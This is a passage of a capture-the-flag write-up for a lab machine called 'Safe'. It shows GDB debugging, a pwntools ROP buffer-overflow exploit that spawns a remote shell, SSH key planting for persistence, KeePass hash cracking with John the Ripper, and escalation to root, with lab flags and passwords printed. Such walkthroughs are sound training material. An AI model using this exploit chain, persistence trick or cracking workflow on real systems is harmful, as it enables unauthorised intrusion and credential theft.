$r10   : 0x00000000004003e0  →  0x6972700073747570 ("puts"?)
$r11   : 0x246             
$r12   : 0x0000000000401070  →  <_start+0> xor ebp, ebp
$r13   : 0x00007fffffffe5b0  →  0x0000000000000001
$r14   : 0x0               
$r15   : 0x0               
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 
───────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffe4e0│+0x0000: 0x0000000000000000	 ← $rsp
0x00007fffffffe4e8│+0x0008: 0x00007fffffffe5b8  →  0x00007fffffffe802  →  "/root/myapp"
0x00007fffffffe4f0│+0x0010: 0x0000000100040000
0x00007fffffffe4f8│+0x0018: 0x000000000040115f  →  <main+0> push rbp
0x00007fffffffe500│+0x0020: 0x0000000000000000
0x00007fffffffe508│+0x0028: 0xd70cde7fba685b2d
0x00007fffffffe510│+0x0030: 0x0000000000401070  →  <_start+0> xor ebp, ebp
0x00007fffffffe518│+0x0038: 0x00007fffffffe5b0  →  0x0000000000000001
─────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
 → 0x7ffff7e11b00 <__libc_start_main+48> or     DWORD PTR [rbx-0x7a3fceee], ecx
   0x7ffff7e11b06 <__libc_start_main+54> ror    BYTE PTR [rdi], cl
   0x7ffff7e11b08 <__libc_start_main+56> xchg   esp, eax
   0x7ffff7e11b09 <__libc_start_main+57> ror    BYTE PTR [rcx+0x19269005], 0x0
   0x7ffff7e11b10 <__libc_start_main+64> test   rdi, rdi
   0x7ffff7e11b13 <__libc_start_main+67> je     0x7ffff7e11b1e <__libc_start_main+78>
─────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "myapp", stopped 0x7ffff7e11b00 in __libc_start_main (), reason: SIGSEGV
───────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7ffff7e11b00 → __libc_start_main(main=0x40115f <main>, argc=0x405260, argv=0x7fffffffe5b8, init=0x7ffff7ed6904 <__GI___libc_write+20>, fini=0x79, rtld_fini=0x0, stack_end=0x7fffffffe5a8)
[#1] 0x40109a → _start()
────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤
_

Next, try to look at overview of this ELF file.
We have an interesting function “test”.

gef➤  info functions
All defined functions:

Non-debugging symbols:
0x0000000000401000  _init
0x0000000000401030  puts@plt
0x0000000000401040  system@plt
0x0000000000401050  printf@plt
0x0000000000401060  gets@plt
0x0000000000401070  _start
0x00000000004010a0  _dl_relocate_static_pie
0x00000000004010b0  deregister_tm_clones
0x00000000004010e0  register_tm_clones
0x0000000000401120  __do_global_dtors_aux
0x0000000000401150  frame_dummy
0x0000000000401152  test
0x000000000040115f  main
0x00000000004011b0  __libc_csu_init
0x0000000000401210  __libc_csu_fini
0x0000000000401214  _fini
gef➤  
_

Then, look at the function “test”.
What it’s doing is following.

  1. move RSP value to RDI
  2. jump to the address in R13 register
gef➤  disass test
Dump of assembler code for function test:
   0x0000000000401152 <+0>:     push   rbp
   0x0000000000401153 <+1>:     mov    rbp,rsp
   0x0000000000401156 <+4>:     mov    rdi,rsp
   0x0000000000401159 <+7>:     jmp    r13
   0x000000000040115c <+10>:    nop
   0x000000000040115d <+11>:    pop    rbp
   0x000000000040115e <+12>:    ret
End of assembler dump.
gef➤  

This means if we can control the value of “r13” register, we can run any system call. With the command “ropper”, we can figure it out.
In the address “401206”, we have “pop r13”.

root@kali:~# ropper --file myapp --search "pop r13"
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop r13

[INFO] File: myapp
0x0000000000401206: pop r13; pop r14; pop r15; ret; 

root@kali:~#

Next, try to find out the address of “system” system call.

root@kali:~# objdump -d myapp | grep system
0000000000401040 <system@plt>:
  401040:	ff 25 da 2f 00 00    	jmpq   *0x2fda(%rip)        # 404020 <system@GLIBC_2.2.5>
  40116e:	e8 cd fe ff ff       	callq  401040 <system@plt>

root@kali:~#

Now we had enough information to write some exploit code.
But before that we have to install the python module “pwntools” with pip.

root@kali:~# pip install pwntools

---
root@kali:~# cat exploit.py 
#!/usr/bin/python3

from pwn import *

buff = b"A" * 120
pop_r13 = p64(0x401206)
system = p64(0x40116e)
pop_r14 = b"B" * 8
pop_r15 = b"C" * 8

payload = buff + pop_r13 + system + pop_r14 + pop_r15

f =open("exploit.txt", "wb")
f.write(payload)

root@kali:~# python3 exploit.py

root@kali:~# cat exploit.txt 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@n@BBBBBBBBCCCCCCCC

Then, run the “myapp” again with the generated payload.
We can confirm that r14 is “BBBBBBBB” and r15 is “CCCCCCCC”.

root@kali:~# gdb -q myapp
GEF for linux ready, type `gef' to start, `gef config' to configure
80 commands loaded for GDB 8.3.1 using Python engine 3.7
Reading symbols from myapp...
(No debugging symbols found in myapp)
gef➤  r < exploit.txt
Starting program: /root/myapp < exploit.txt
[Detaching after vfork from child process 56780]
 20:56:53 up 19:20,  1 user,  load average: 2.56, 2.26, 2.13

What do you want me to echo back? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@

Program received signal SIGSEGV, Segmentation fault.
0x0000000000401100 in register_tm_clones ()
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x0               
$rbx   : 0x0               
$rcx   : 0x00007ffff7ed6904  →  0x5477fffff0003d48 ("H="?)
$rdx   : 0x00007ffff7fa7580  →  0x0000000000000000
$rsp   : 0x00007fffffffe500  →  0x0000000000000000
$rbp   : 0x4141414141414141 ("AAAAAAAA"?)
$rsi   : 0x0000000000405260  →  "What do you want me to echo back? AAAAAAAAAAAAAAAA[...]"
$rdi   : 0x0               
$rip   : 0x0000000000401100  →  <register_tm_clones+32> add BYTE PTR [rax], al
$r8    : 0x7c              
$r9    : 0x0               
$r10   : 0x00000000004003e0  →  0x6972700073747570 ("puts"?)
$r11   : 0x246             
$r12   : 0x0000000000401070  →  <_start+0> xor ebp, ebp
$r13   : 0x000000000040116e  →  <main+15> call 0x401040 <system@plt>
$r14   : 0x4242424242424242 ("BBBBBBBB"?)
$r15   : 0x4343434343434343 ("CCCCCCCC"?)
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 
───────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffe500│+0x0000: 0x0000000000000000	 ← $rsp
0x00007fffffffe508│+0x0008: 0xf8d1ac3ba2c3f088
0x00007fffffffe510│+0x0010: 0x0000000000401070  →  <_start+0> xor ebp, ebp
0x00007fffffffe518│+0x0018: 0x00007fffffffe5b0  →  0x0000000000000001
0x00007fffffffe520│+0x0020: 0x0000000000000000
0x00007fffffffe528│+0x0028: 0x0000000000000000
0x00007fffffffe530│+0x0030: 0x072e53444863f088
0x00007fffffffe538│+0x0038: 0x072e4379b745f088
─────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
 →   0x401100 <register_tm_clones+32> add    BYTE PTR [rax], al
     0x401102 <register_tm_clones+34> add    BYTE PTR [rax], al
     0x401104 <register_tm_clones+36> test   rax, rax
     0x401107 <register_tm_clones+39> je     0x401110 <register_tm_clones+48>
     0x401109 <register_tm_clones+41> mov    edi, 0x404048
     0x40110e <register_tm_clones+46> jmp    rax
─────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "myapp", stopped 0x401100 in register_tm_clones (), reason: SIGSEGV
───────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x401100 → register_tm_clones()
────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤  

Then, modify the script like the following and run.

root@kali:~# cat exploit.py 
#!/usr/bin/python3

from pwn import *

buff = b"A" * 120
pop_r13 = p64(0x401206)
system = p64(0x40116e)
pop_r14 = b"B" * 8
pop_r15 = b"C" * 8
test = p64(0x401156)
sh = b"/bin/sh\x00"

payload = buff + pop_r13 + system + pop_r14 + pop_r15 + test + sh

f =open("exploit.txt", "wb")
f.write(payload)

root@kali:~# 

After that, run the “myapp” with the new “exploit.txt”.
However, this time add a breakpoint in “0x401156” in the function “test”.

root@kali:~# gdb -q ./myapp
GEF for linux ready, type `gef' to start, `gef config' to configure
80 commands loaded for GDB 8.3.1 using Python engine 3.7
Reading symbols from ./myapp...
(No debugging symbols found in ./myapp)
gef➤  break * 0x401156
Breakpoint 1 at 0x401156
gef➤  r < exploit.txt
Starting program: /root/myapp < exploit.txt
[Detaching after vfork from child process 58438]
 21:41:11 up 20:04,  1 user,  load average: 1.74, 1.74, 1.80

What do you want me to echo back? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@

Breakpoint 1, 0x0000000000401156 in test ()
__main__:2476: DeprecationWarning: invalid escape sequence '\¿'
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x0               
$rbx   : 0x0               
$rcx   : 0x00007ffff7ed6904  →  0x5477fffff0003d48 ("H="?)
$rdx   : 0x00007ffff7fa7580  →  0x0000000000000000
$rsp   : 0x00007fffffffe500  →  0x0068732f6e69622f ("/bin/sh"?)
$rbp   : 0x4141414141414141 ("AAAAAAAA"?)
$rsi   : 0x0000000000405260  →  "What do you want me to echo back? AAAAAAAAAAAAAAAA[...]"
$rdi   : 0x0               
$rip   : 0x0000000000401156  →  <test+4> mov rdi, rsp
$r8    : 0x7c              
$r9    : 0x0               
$r10   : 0x00000000004003e0  →  0x6972700073747570 ("puts"?)
$r11   : 0x246             
$r12   : 0x0000000000401070  →  <_start+0> xor ebp, ebp
$r13   : 0x000000000040116e  →  <main+15> call 0x401040 <system@plt>
$r14   : 0x4242424242424242 ("BBBBBBBB"?)
$r15   : 0x4343434343434343 ("CCCCCCCC"?)
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 
──────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffe500│+0x0000: 0x0068732f6e69622f ("/bin/sh"?)$rsp
0x00007fffffffe508│+0x0008: 0xcf412594aada6b00
0x00007fffffffe510│+0x0010: 0x0000000000401070  →  <_start+0> xor ebp, ebp
0x00007fffffffe518│+0x0018: 0x00007fffffffe5b0  →  0x0000000000000001
0x00007fffffffe520│+0x0020: 0x0000000000000000
0x00007fffffffe528│+0x0028: 0x0000000000000000
0x00007fffffffe530│+0x0030: 0x30bedaeb407a6b18
0x00007fffffffe538│+0x0038: 0x30becad6bf5c6b18
────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x40114e <__do_global_dtors_aux+46> add    bl, bpl
     0x401151 <frame_dummy+1>  mov    ss, WORD PTR [rbp+0x48]
     0x401154 <test+2>         mov    ebp, esp
 →   0x401156 <test+4>         mov    rdi, rsp
     0x401159 <test+7>         jmp    r13
     0x40115c <test+10>        nop    
     0x40115d <test+11>        pop    rbp
     0x40115e <test+12>        ret    
     0x40115f <main+0>         push   rbp
────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "myapp", stopped 0x401156 in test (), reason: BREAKPOINT
──────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x401156 → test()
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤  

Then, go to next step with the command “si”.
It goes to the instruction “jmp r13”

gef➤  si

---

     0x401151 <frame_dummy+1>  mov    ss, WORD PTR [rbp+0x48]
     0x401154 <test+2>         mov    ebp, esp
     0x401156 <test+4>         mov    rdi, rsp
 →   0x401159 <test+7>         jmp    r13
     0x40115c <test+10>        nop    
     0x40115d <test+11>        pop    rbp
     0x40115e <test+12>        ret    
     0x40115f <main+0>         push   rbp
     0x401160 <main+1>         mov    rbp, rsp

---

Go to the next step.
We can confirm that “system()” is executed with the argument “/bin/sh”.

gef➤  si
0x000000000040116e in main ()

---

     0x401160 <main+1>         mov    rbp, rsp
     0x401163 <main+4>         sub    rsp, 0x70
     0x401167 <main+8>         lea    rdi, [rip+0xe9a]        # 0x402008
 →   0x40116e <main+15>        call   0x401040 <system@plt>
   ↳    0x401040 <system@plt+0>   jmp    QWORD PTR [rip+0x2fda]        # 0x404020 <system@got.plt>
        0x401046 <system@plt+6>   push   0x1
        0x40104b <system@plt+11>  jmp    0x401020
        0x401050 <printf@plt+0>   jmp    QWORD PTR [rip+0x2fd2]        # 0x404028 <printf@got.plt>
        0x401056 <printf@plt+6>   push   0x2
        0x40105b <printf@plt+11>  jmp    0x401020
────────────────────────────────────────────────────────────────────────────────────────────────── arguments (guessed) ────
system@plt (
   $rdi = 0x00007fffffffe500 → 0x0068732f6e69622f ("/bin/sh"?),
   $rsi = 0x0000000000405260 → "What do you want me to echo back? AAAAAAAAAAAAAAAA[...]"
)

---

We can confirm that if the payload is correct locally with the following way.

root@kali:~# (cat exploit.txt ; cat) | ./myapp
 21:50:47 up 20:14,  1 user,  load average: 1.89, 2.01, 1.93


What do you want me to echo back? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@
whoami
root

Now we confirmed that we can use this exploit locally.
Finally, modify the script exploit for the remote host.

root@kali:~# cat exploit.py 
#!/usr/bin/python3

from pwn import *

p = remote("10.10.10.147", 1337)

buff = b"A" * 120
pop_r13 = p64(0x401206)
system = p64(0x40116e)
pop_r14 = b"B" * 8
pop_r15 = b"C" * 8
test = p64(0x401156)
sh = b"/bin/sh\x00"

payload = buff + pop_r13 + system + pop_r14 + pop_r15 + test + sh

p.sendline(payload)
p.interactive()

Run the exploit and we can achieve the user shell.
“user.txt” is in the directory “/home/user”.

root@kali:~# python3 exploit.py 
[+] Opening connection to 10.10.10.147 on port 1337: Done
[*] Switching to interactive mode
 15:08:51 up 10:46,  0 users,  load average: 0.00, 0.00, 0.00
$ id
uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),112(bluetooth)

$ pwd
/home/user

$ cat user.txt
7a29ee9b0fa17ac013d4bf01fd127690
$  

3. Getting Root

Now we got limited user shell.
To get a full shell, put the ssh public key on the remote host.

*
$ pwd
/home/user/.ssh

$ echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDNWRWG3yzdzAY1uzzhaQDIh48rzaVi+50ZqB8anob1hYUinhpeaymXU5mCkD8/1Qs7Es7EBbAg9TdeBlnEiwuNdcDJvnM56AYkATENJ/B9yqFuwYH12MolKNKKg3gL9zZgqfUT/nfWXQZFkrSzR9dKxH+qBZiRkgaV7hZNF90ePA2vzL1Rhen/T/pUAwFWdLW29OyTGMJSl3FDHApq7M+4gu3GsEzknU5QyJZy/6QQ9+htZYWoPOf3wGu57820zu8xvDqbWoJdSCcZEG0e0m4lI7K/sfDSetoKTQZy+PlHISD0m5SkyVRLCrXqU8OEU4/1/5bvMEqgA2+cChGqFfKZiPQgVLYmKvYy/EfRybsegLZ2QDpNecLYL3Lxa7gvtVHhdS0Vb96Hk9A0KxSO+V6Y7rtXjKPpz0aUR0hZnUOam5BU3IueJf42QmAI90qCKHbWukkbSe8u0Vx0qIDts9PF0QAPODFyvCPNo8jXrhUY8NGjDKtuxeefTyk/p2cF3G8= root@kali' >> authorized_keys
$

After that, login to Safe with ssh.

root@kali:~/.ssh# ssh user@10.10.10.147
Enter passphrase for key '/root/.ssh/id_rsa': 
Linux safe 4.9.0-9-amd64 #1 SMP Debian 4.9.168-1 (2019-04-12) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Jan 17 16:12:35 2020 from 10.10.14.36
user@safe:~$ 

In the home directory, we have some image files and a KeePass database.

user@safe:~$ ls -l
total 11260
-rw-r--r-- 1 user user 1907614 May 13  2019 IMG_0545.JPG
-rw-r--r-- 1 user user 1916770 May 13  2019 IMG_0546.JPG
-rw-r--r-- 1 user user 2529361 May 13  2019 IMG_0547.JPG
-rw-r--r-- 1 user user 2926644 May 13  2019 IMG_0548.JPG
-rw-r--r-- 1 user user 1125421 May 13  2019 IMG_0552.JPG
-rw-r--r-- 1 user user 1085878 May 13  2019 IMG_0553.JPG
-rw-r--r-- 1 user user    2446 May 13  2019 MyPasswords.kdbx
-rwxr-xr-x 1 user user   16592 May 13  2019 myapp
-rw------- 1 user user      33 May 13  2019 user.txt

user@safe:~$ 

Then download these files with scp command.

root@kali:~# scp 'user@10.10.10.147:~/*.JPG' .
Enter passphrase for key '/root/.ssh/id_rsa': 
IMG_0545.JPG                                                      100% 1863KB   4.6MB/s   00:00    
IMG_0546.JPG                                                      100% 1872KB  10.5MB/s   00:00    
IMG_0547.JPG                                                      100% 2470KB  10.2MB/s   00:00    
IMG_0548.JPG                                                      100% 2858KB  10.4MB/s   00:00    
IMG_0552.JPG                                                      100% 1099KB   9.1MB/s   00:00    
IMG_0553.JPG                                                      100% 1060KB   8.6MB/s   00:00    

root@kali:~# scp 'user@10.10.10.147:~/*.kdbx' .
Enter passphrase for key '/root/.ssh/id_rsa': 
MyPasswords.kdbx                                                  100% 2446    53.3KB/s   00:00    

root@kali:~# 

At first, we have to create the password hash of each JPG file with “keepass2john”.

root@kali:~# for i in *.JPG
> do
> keepass2john -k $i MyPasswords.kdbx >>hashes
> done

root@kali:~# 

We can crack the hash with John the Ripper.
The obtained password is “bullshit”.

root@kali:~# john -w=/usr/share/wordlists/rockyou.txt hashes
Using default input encoding: UTF-8
Loaded 6 password hashes with 6 different salts (KeePass [SHA256 AES 32/64])
Cost 1 (iteration count) is 60000 for all loaded hashes
Cost 2 (version) is 2 for all loaded hashes
Cost 3 (algorithm [0=AES, 1=TwoFish, 2=ChaCha]) is 0 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
bullshit         (MyPasswords)

Now we found the password. Then, open the KeePass DB.
We can find the key by trying each key.

root@kali:~# apt-get install kpcli

---

root@kali:~# kpcli --kdb MyPasswords.kdbx --key IMG_0547.JPG
Please provide the master password: *************************

KeePass CLI (kpcli) v3.1 is ready for operation.
Type 'help' for a description of available commands.
Type 'help <command>' for details on individual commands.

kpcli:/> ls
=== Groups ===
MyPasswords/
kpcli:/> cd MyPasswords/
kpcli:/MyPasswords> ls
=== Groups ===
eMail/
General/
Homebanking/
Internet/
Network/
Recycle Bin/
Windows/
=== Entries ===
0. Root password
kpcli:/MyPasswords> show 0 -f

Title: Root password
Uname: root
 Pass: u3v2249dl9ptv465cogl3cnpo3fyhk
  URL:
Notes:

kpcli:/MyPasswords>

We can use the obtained password to be the root user.

user@safe:~$ su
Password: # u3v2249dl9ptv465cogl3cnpo3fyhk

root@safe:/home/user# id
uid=0(root) gid=0(root) groups=0(root)

root@safe:/home/user#

As always, “root.txt” is in the directory “/root”

root@safe:~# cat root.txt 
d7af235eb1db9fa059d2b99a6d1d5453

root@safe:~#